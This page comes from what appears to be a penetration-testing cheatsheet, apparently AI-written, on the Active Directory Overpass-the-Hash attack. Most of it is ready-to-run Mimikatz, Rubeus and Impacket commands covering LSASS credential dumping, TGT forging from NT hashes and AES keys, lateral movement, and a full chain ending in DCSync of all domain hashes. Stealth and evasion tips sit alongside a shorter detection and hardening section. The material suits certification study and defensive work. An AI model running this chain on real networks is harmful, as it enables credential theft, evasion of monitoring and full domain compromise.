AD^:Active Directory

Attack #6 — Overpass-the-Hash (Pass-the-Key)

Overpass-the-Hash (OPtH) is a hybrid attack that converts a stolen NTLM hash into a fully valid Kerberos TGT. This is the critical conceptual bridge in…

advancedupdated 2026-08-10NetExec · Impacket · Mimikatz · Rubeus

🔴 Attack #6 — Overpass-the-Hash (Pass-the-Key)


📖 How It Works

Overpass-the-Hash (OPtH) is a hybrid attack that converts a stolen NTLM hash into a fully valid Kerberos TGT. This is the critical conceptual bridge in the AD attack chain — PtH abuses NTLM directly, PtT replays stolen Kerberos tickets, but Overpass-the-Hash uses a raw NT hash as a cryptographic key to request a fresh TGT from the KDC, effectively laundering an NTLM credential into a Kerberos one. Once you have that TGT, you operate entirely within Kerberos — bypassing NTLM-blocking controls, MFA, and many detection signatures simultaneously.

The attack exploits the internal Windows authentication architecture: when Kerberos pre-authentication runs, it uses a key derived from the user’s password — and crucially, the NT hash IS that key (RC4-HMAC). The DC cannot distinguish between a key derived legitimately from a password typed by a user and a key supplied directly as an NT hash by an attacker. The result is a legitimate, KDC-signed TGT that grants access to everything the victim account can reach.

⚠️ Windows Server 2022+ / Credential Guard & AES-Only Enforcement: On hardened systems with AES-only enforcement, RC4 (NT hash) requests are rejected by the KDC entirely. Extraction of AES128/AES256 keys from LSASS becomes essential. Additionally, Credential Guard blocks LSASS access for key extraction. See “Hardening Commands” for mitigation strategies.

Overpass-the-Hash vs Pass-the-Hash vs Pass-the-Ticket

PropertyPtHOPtHPtT
InputNT hashNT hash / AES keyExisting Kerberos ticket
ProtocolNTLMNTLM → converts to KerberosKerberos only
OutputNTLM sessionFresh TGT + TGS ticketsReused ticket
Works if NTLM blocked❌✅ (Kerberos output)✅
Works without live session✅✅❌ (needs existing ticket)
AES key support❌✅ (stealthiest variant)N/A
Detection footprint4624 Type 3 NTLM4768 + 4769 Kerberos4769 Kerberos

The Full Attack Flow

1. Compromise any Windows host + escalate to local admin / SYSTEM
2. Dump NTLM hash (NT hash) from LSASS — identical to PtH setup phase
3. Optionally extract AES128 / AES256 key instead (stealthier, no RC4 downgrade)
4. Use Mimikatz sekurlsa::pth OR Rubeus asktgt to:
   a. Inject the NT hash as a Kerberos RC4 key
   b. Send a Kerberos AS-REQ to the DC requesting a TGT
   c. DC validates the key, issues a signed TGT
5. TGT injected into current logon session → now operating as victim in Kerberos
6. Request TGS for any target service → lateral movement / privilege escalation

⚙️ Prerequisites

RequirementDetail
Local admin / SYSTEM on a hostRequired to dump LSASS (NT hash or AES key extraction)
NT hash or AES keyNT hash (RC4) is universal; AES128/256 keys are available from Mimikatz sekurlsa::ekeys
Port 88 reachableKerberos TGT request goes directly to the DC on UDP/TCP 88
Valid domain accountThe hash must belong to an active, non-locked domain account
Domain FQDN / DC IPMust know the domain name and DC address for TGT request

🛠️ Tools

ToolPlatformNotes
MimikatzWindowssekurlsa::pth with Kerberos flag spawns session + requests TGT
RubeusWindowsasktgt command — cleanest method; full AES key support
Impacket — getTGT.pyLinuxHash-to-TGT from Linux; outputs .ccache for use with all Impacket tools
Impacket — getST.pyLinuxHash-to-TGS directly for specific services
NetExec / CrackMapExecLinux-H flag with Kerberos auth (--use-kcache) after TGT obtained
PKINITtoolsWindows/LinuxUse certificate-based PKINIT to request TGT without credentials (advanced)

💻 Full Commands

🔵 Step 0 — Dump NT Hash AND AES Keys from LSASS

# ── Mimikatz — dump NT hashes (standard) ─────────────────────────────────────
privilege::debug
sekurlsa::logonpasswords
# Note the 'NTLM' field under each account — that's your NT hash

# ── Mimikatz — dump AES keys (stealthier OPtH) ───────────────────────────────
privilege::debug
sekurlsa::ekeys
# Note the 'aes256_hmac' and 'aes128_hmac' fields — use these for stealth
# AES keys look like: 'b65fb27c8e0d7c5f48b16c10b4c1d91a...'

# ── Linux — remote dump via secretsdump ──────────────────────────────────────
secretsdump.py corp.local/Administrator:'Password1'@10.10.10.10
# NT hash is the right side of DOMAIN\user:RID:LMhash:NThash:::

🔴 Mimikatz — Classic OPtH (Windows, Spawns Kerberos Session)

# ── Standard OPtH with NT hash (RC4) ─────────────────────────────────────────
# This spawns a new cmd.exe process, then AUTOMATICALLY requests a TGT from KDC
privilege::debug
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:8846f7eaee8fb117ad06bdd830b7586c

# This opens a new command window — from that window, force Kerberos TGT request:
dir \\DC01.corp.local\C$
# The act of accessing a Kerberos resource triggers the TGT request internally

# ── OPtH with AES256 key (stealthiest — no RC4 negotiation) ──────────────────
sekurlsa::pth /user:Administrator /domain:corp.local \
  /aes256:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6

# ── OPtH with AES128 key ──────────────────────────────────────────────────────
sekurlsa::pth /user:svc_sql /domain:corp.local \
  /aes128:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6

# ── OPtH with specific program instead of cmd.exe ────────────────────────────
sekurlsa::pth /user:Administrator /domain:corp.local \
  /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:powershell.exe

# ── Verify TGT was obtained from within the spawned shell ────────────────────
klist
# You should see a TGT for the injected user — proof of successful OPtH

What happens internally: Mimikatz creates a new logon session (Type 9 — NewCredentials), injects the NT hash as the user’s credential material, and when you first touch a Kerberos resource (e.g., dir \\DC01.corp.local\...), Windows uses the injected hash as an RC4 key to authenticate to the KDC and request a TGT. From that point on, all authentication flows through Kerberos.


🔴 Rubeus — asktgt (Windows — Most Explicit & Controllable)

# ── Request TGT using NT hash (RC4) ──────────────────────────────────────────
.\Rubeus.exe asktgt /user:Administrator /domain:corp.local \
  /rc4:8846f7eaee8fb117ad06bdd830b7586c /ptt

# Request TGT + inject into current session (/ptt = pass-the-ticket)
.\Rubeus.exe asktgt /user:Administrator /domain:corp.local \
  /rc4:8846f7eaee8fb117ad06bdd830b7586c /ptt /nowrap

# ── Request TGT using AES256 (stealthiest — no downgrade warning in logs) ─────
.\Rubeus.exe asktgt /user:Administrator /domain:corp.local \
  /aes256:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \
  /ptt /nowrap

# ── Request TGT using AES128 ─────────────────────────────────────────────────
.\Rubeus.exe asktgt /user:svc_backup /domain:corp.local \
  /aes128:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 /ptt

# ── Request TGT + save to file (for transfer to Linux) ───────────────────────
.\Rubeus.exe asktgt /user:Administrator /domain:corp.local \
  /rc4:8846f7eaee8fb117ad06bdd830b7586c /outfile:admin.kirbi

# ── Request TGT + immediately request TGS for specific service ───────────────
.\Rubeus.exe asktgt /user:Administrator /domain:corp.local \
  /rc4:8846f7eaee8fb117ad06bdd830b7586c /ptt

.\Rubeus.exe asktgs /service:cifs/DC01.corp.local /ptt

# ── Specify DC explicitly (useful in multi-domain environments) ───────────────
.\Rubeus.exe asktgt /user:Administrator /domain:corp.local \
  /rc4:8846f7eaee8fb117ad06bdd830b7586c /dc:10.10.10.10 /ptt

# ── Verify TGT injection ──────────────────────────────────────────────────────
.\Rubeus.exe triage
klist

🔴 Impacket — getTGT.py (Linux — Hash → ccache Ticket)

# ── NT hash → TGT (saves as Administrator.ccache) ───────────────────────────
getTGT.py corp.local/Administrator -hashes :8846f7eaee8fb117ad06bdd830b7586c \
  -dc-ip 10.10.10.10

# ── AES256 key → TGT (stealthiest from Linux) ────────────────────────────────
getTGT.py corp.local/Administrator \
  -aesKey b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \
  -dc-ip 10.10.10.10

# ── Plaintext password → TGT (standard — for reference) ─────────────────────
getTGT.py corp.local/Administrator:'Password1' -dc-ip 10.10.10.10

# ── Set the TGT ccache for use by all Impacket tools ─────────────────────────
export KRB5CCNAME=Administrator.ccache

# ── Use the TGT for lateral movement ─────────────────────────────────────────
psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local
wmiexec.py -k -no-pass corp.local/Administrator@DC01.corp.local
smbexec.py -k -no-pass corp.local/Administrator@DC01.corp.local
secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local

# ── NetExec with the obtained TGT ────────────────────────────────────────────
export KRB5CCNAME=Administrator.ccache
nxc smb DC01.corp.local --use-kcache
nxc smb DC01.corp.local --use-kcache -x "whoami /all"
nxc winrm DC01.corp.local --use-kcache

# ── Evil-WinRM with TGT ───────────────────────────────────────────────────────
export KRB5CCNAME=Administrator.ccache
evil-winrm -i DC01.corp.local -r corp.local

🔴 Impacket — getST.py (Linux — Hash → Specific Service Ticket)

# Skip the TGT step entirely — go straight to a TGS for a specific service
# Useful when you know exactly what you want to access

# Get CIFS TGS (file share access) using NT hash
getST.py corp.local/Administrator -hashes :8846f7eaee8fb117ad06bdd830b7586c \
  -spn cifs/DC01.corp.local -dc-ip 10.10.10.10

# Get HOST TGS (remote execution via PsExec)
getST.py corp.local/Administrator -hashes :8846f7eaee8fb117ad06bdd830b7586c \
  -spn host/DC01.corp.local -dc-ip 10.10.10.10

# Get LDAP TGS (BloodHound, LDAP queries, DCSync)
getST.py corp.local/Administrator -hashes :8846f7eaee8fb117ad06bdd830b7586c \
  -spn ldap/DC01.corp.local -dc-ip 10.10.10.10

# Get HTTP TGS (web services, Exchange)
getST.py corp.local/svc_http -hashes :a87f3a337d73085c45f9416be5787d86 \
  -spn http/MAIL01.corp.local -dc-ip 10.10.10.10

# ── Use the service ticket ────────────────────────────────────────────────────
export KRB5CCNAME=Administrator@cifs_DC01.corp.local@CORP.LOCAL.ccache
smbclient.py -k -no-pass corp.local/Administrator@DC01.corp.local

🔴 PKINITtools — Certificate-Based TGT Request (Advanced)

# ── Get DER certificate from compromised user (if available) ────────────────
# Export user certificate from smartcard or AD user object
certutil -user -enterprise -p "password" -exportpfx "LDAP:///CN=Administrator,CN=Users,DC=corp,DC=local" output.pfx

# ── Use PKINITtools to request TGT with certificate ──────────────────────────
# Note: Requires user certificate in .pfx format; no password/hash needed
python3 pkinittools.py \
  -certificate output.pfx \
  -password "cert_password" \
  -domain corp.local \
  -dc-ip 10.10.10.10

# Resulting TGT can be used with any of the above methods

🔴 Full OPtH → DCSync Chain (Linux)

# Step 1 — Convert NT hash to TGT
getTGT.py corp.local/Administrator -hashes :8846f7eaee8fb117ad06bdd830b7586c \
  -dc-ip 10.10.10.10

# Step 2 — Set TGT
export KRB5CCNAME=Administrator.ccache

# Step 3 — Get LDAP TGS for DCSync (requires Replication rights)
getST.py corp.local/Administrator -k -no-pass \
  -spn ldap/DC01.corp.local -dc-ip 10.10.10.10

# Step 4 — DCSync all domain hashes using Kerberos ticket
export KRB5CCNAME=Administrator@ldap_DC01.corp.local@CORP.LOCAL.ccache
secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local -just-dc-ntlm

# Result: All domain user NTLM hashes — game over

🎯 OPSEC Tips

  • Always prefer AES256 over RC4 — RC4 (NT hash) downgrade in a modern AES-enforcement environment is a near-instant detection signature
  • Extract AES keys with sekurlsa::ekeys in Mimikatz — same LSASS access, but produces AES128/256 keys that blend into normal Kerberos traffic
  • Use Rubeus asktgt over Mimikatz sekurlsa::pth for more granular control and cleaner ticket format — Mimikatz’s internal TGT request is less predictable
  • Name your ccache file sensibly — Administrator.ccache is readable; rename to something benign for long-term operations
  • Use FQDN not IP — Kerberos is hostname-based; DC01.corp.local works, 10.10.10.10 does not
  • AES key OPtH produces Event 4768 with etype:18 (AES256) which is indistinguishable from legitimate user authentication in most environments
  • RC4 OPtH produces Event 4768 with etype:23 (RC4) — in AES-enforced domains this is an immediate red flag; avoid unless RC4 is still standard

OpSec Ranking by Stealth

MethodStealthSpeedNotes
AES256 via Rubeus asktgt⭐⭐⭐⭐⭐FastNo RC4 downgrade, blends perfectly into normal Kerberos traffic
AES256 via getTGT.py (Linux)⭐⭐⭐⭐⭐FastOff-network execution, minimal DC communication
RC4 via Rubeus asktgt⭐⭐⭐FastDetectable in AES-enforced domains (etype:23 anomaly)
Mimikatz sekurlsa::pth + Kerberos⭐⭐MediumTool signature + Type 9 logon event = high detection risk
PKINITtools (certificate-based)⭐⭐⭐⭐⭐MediumNo hash/password needed; requires certificate access

Time-to-Execute Estimates

  • Full OPtH with Rubeus (extract hash → asktgt → ptt → access resource): 3 minutes
  • Linux OPtH chain (getTGT → getST → secretsdump): 5 minutes
  • Mimikatz sekurlsa::pth (spawn session + wait for Kerberos use): 2–4 minutes
  • PKINITtools certificate request: 2 minutes

Tool Version Compatibility

  • Rubeus v1.6.4+: asktgt command fully stable with RC4, AES support; no major regressions
  • Mimikatz 2.2.0+: sekurlsa::pth and sekurlsa::ekeys work consistently across Windows versions
  • Impacket (current): getTGT.py, getST.py fully support RC4/AES; requires Python 3.6+
  • NetExec latest: --use-kcache works with ccache from OPtH + getTGT chain
  • Evil-WinRM v4.0+: KRB5CCNAME stable; requires krb5-user library on Linux

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4768Security LogTGT requested — EncryptionType: 0x17 (RC4/etype 23) in an AES-enforced domain
4768Security LogTGT request originates from unexpected workstation for that user account
4624Security LogLogon Type 9 (NewCredentials) — Mimikatz sekurlsa::pth always creates this logon type
4648Security LogLogon with explicit credentials — attacker accessing remote resource post-OPtH
4769Security LogTGS requested immediately after a suspicious 4768 — confirms ticket is being used
Sysmon EID 10SysmonLSASS process access — AES key extraction same as NT hash dump
Sysmon EID 1SysmonRubeus.exe or Mimikatz.exe process creation

Primary detection signature: Event 4768 with EncryptionType: 0x17 (RC4) from a host where the user is not currently interactively logged in, followed immediately by a 4769 TGS request. The Type 9 logon event (4624) from Mimikatz pth is also highly anomalous and rarely appears in legitimate traffic — a single Type 9 event warrants investigation.


🧩 Troubleshooting

ErrorCauseFix
KRB_AP_ERR_SKEWSystem time skew between attacker and DC (>5 min)Sync attacker system time with DC: net time \\DC01 /set or timedatectl set-ntp true
KDC_ERR_ETYPE_NOSUPPEncryption type not supported (RC4 requested but AES-only enforced)Extract AES key via sekurlsa::ekeys; use AES key with asktgt or getTGT.py
KDC_ERR_PREAUTH_FAILEDNT hash/AES key is incorrect or account is disabled/lockedVerify hash accuracy from LSASS dump; check AD for account lockout status
ERR_KRB5_KDC_UNREACHCannot reach KDC on port 88 (firewall, routing, or DNS)Test: nc -zv DC01.corp.local 88; verify DNS resolves DC FQDN correctly
KDC_ERR_C_PRINCIPAL_UNKNOWNUser account does not exist in domain or is misspelledVerify account name matches AD; check domain FQDN
Rubeus asktgt returns null TGTDC rejected the Kerberos request (likely bad hash or pre-auth failure)Re-verify NT hash from LSASS; check account pre-auth requirements in AD
`Type 9 logon in security log (immediate detection)**Mimikatz sekurlsa::pth creates this signature automaticallySwitch to Rubeus asktgt which doesn’t generate Type 9 events
FIPS mode rejects RC4 OPtHSystem has FIPS 140-2 enabled; RC4 disabledUse AES256/AES128 key extraction instead of NT hash

🗺️ MITRE ATT&CK

Technique: T1550.002 — Use Alternate Authentication Material: Pass the Hash Tactic: TA0008 — Lateral Movement

Known APT Groups Using OPtH

  • APT29 (Cozy Bear): Leverages OPtH to bypass NTLM-disabled defenses and maintain persistence in Kerberos-only environments
  • FIN6 (Magecart operators): Uses OPtH chains for sustained lateral movement in retail and hospitality environments
  • Wizard Spider (Conti operators): Combines OPtH with Golden Ticket generation for long-term domain control
  • HAFNIUM (State-sponsored, China-based): Employs OPtH in post-exploitation chains following Exchange Server compromise

Detection baseline: Organizations using Defender for Identity should flag RC4 TGT requests (etype:23) in AES-only environments as critical alerts. AES TGT requests with suspicious source IPs should trigger investigation.


🛡️ Advanced Detection & Hardening

Sigma Rule References

  • Sigma Rule: RC4 OPtH in AES-enforced environment — Event 4768 with etype:23 from non-user workstation
  • Sigma Rule: Type 9 logon + Kerberos activity — Event 4624 (Type 9) followed by 4768/4769 within 60 seconds
  • Sigma Rule: AES key extraction — Sysmon EID 10 (LSASS access) + sekurlsa::ekeys string detection

EDR Detections (Defender for Identity)

  • “Suspicious encryption type downgrade” — RC4 TGT request when domain policy enforces AES
  • “Impossible travel” — OPtH TGT created on one host but used immediately on another
  • “LSASS credential access + Kerberos activity” — Combination of memory access and unexpected TGT request

Hardening Commands

# ── Enforce AES-only Kerberos (disable RC4) ───────────────────────────────────
# On DC: Set encryption types to 28 (AES128 + AES256 only)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters" \
  -Name "SupportedEncryptionTypes" -Value 28

# ── Enable Credential Guard (blocks LSASS memory access) ─────────────────────
dism /online /enable-feature /featurename:IsolatedUserMode

# ── Enforce Protected Users group (prevents RC4 fallback) ───────────────────
Add-ADGroupMember -Identity "Protected Users" -Members "CN=Administrator,CN=Users,DC=corp,DC=local"

# ── Set maximum TGT lifetime (reduce reuse window) ─────────────────────────
# Via GPO: Kerberos Policy > Maximum lifetime for user ticket = 4 hours (default 10)

# ── Monitor for Type 9 logon events (Mimikatz signature) ──────────────────────
# Create alert for Event 4624 with LogonType=9 from unexpected sources

Forensic Artifacts (What Survives)

ArtifactLocationSurvives CleanupNotes
Event 4768 (TGT request)Security Event LogYes (unless purged)Primary detection source; etype field is critical
Event 4624 Type 9 logonSecurity Event LogYesMimikatz sekurlsa::pth signature — rarely legitimate
NT hash in LSASS dumpPagefile, hiberfil.sysIf not clearedPost-mortem DFIR via Volatility
LSASS process access (Sysmon)Sysmon event logYesEID 10 correlates with OPtH timing
ccache file (Linux)/tmp/krb5cc_*No — delete immediatelyNot useful after ticket expires or is rotated
Rubeus/Mimikatz executionSysmon EID 1, MFTYesTool signatures in process creation logs
Registry AES key cacheUser registry hiveYesHKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings

🔗 Attack Chain Context

[Overpass-the-Hash] ──→ Fresh Kerberos TGT as Target User
         │
         ├──→ 🎫 Pass-the-Ticket (inject TGT, access any domain resource)
         ├──→ 🩸 DCSync — use LDAP TGS with DA TGT to dump all hashes
         ├──→ 🎫 Golden Ticket — KRBTGT hash from DCSync → forge unlimited TGTs
         ├──→ 🔓 Bypass NTLM-blocking security controls entirely
         ├──→ 🌐 Cross-domain — use TGT to request inter-realm tickets
         └──→ 🎯 MFA bypass — TGT already authenticated, no MFA prompt triggered
  • Attack #4 — Pass-the-Hash (PtH): Uses NT hash with NTLM directly; OPtH converts hash to Kerberos
  • Attack #5 — Pass-the-Ticket (PtT): Takes output TGT from OPtH and injects it into other sessions
  • Attack #11 — Golden Ticket: If you obtain KRBTGT hash (via DCSync using OPtH), forge unlimited TGTs
  • Attack #12 — Silver Ticket: Forge service-specific tickets; complementary to OPtH
  • Attack #16 — Constrained Delegation (S4U2Self/S4U2Proxy): Uses TGTs to request tickets on behalf of other users

When to Use OPtH vs PtH

Use PtH when: NTLM is available, you want immediate access, and speed matters over stealth.

Use OPtH when: the target enforces Kerberos-only authentication, NTLM is blocked or monitored, you want a long-lived TGT for sustained access, or you have AES keys and want to leave minimal forensic trace.


✅ Attack #6 — Overpass-the-Hash complete. Tell me to move on when you’re ready for Attack #7 — NTLM Relay Attacks.

Sources How to Defend Against an Overpass the Hash Attack - Semperis https://www.semperis.com/blog/how-to-defend-against-overpass-the-hash-attack/ Pass-the-Key (Overpass-the-… https://www.vaadata.com/blog/what-is-pass-the-hash-attacks-types-and-security-best-practices/ Overpass-the-Hash Attack: Principles and Detection https://blog.netwrix.com/2022/10/04/overpass-the-hash-attacks/ Use Alternate Authentication Material: Pass the Hash https://attack.mitre.org/techniques/T1550/002/ Active Directory Attack Chain: PtH → OPtH → PtT → DCSync https://www.semperis.com/blog/active-directory-attack-chains/

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.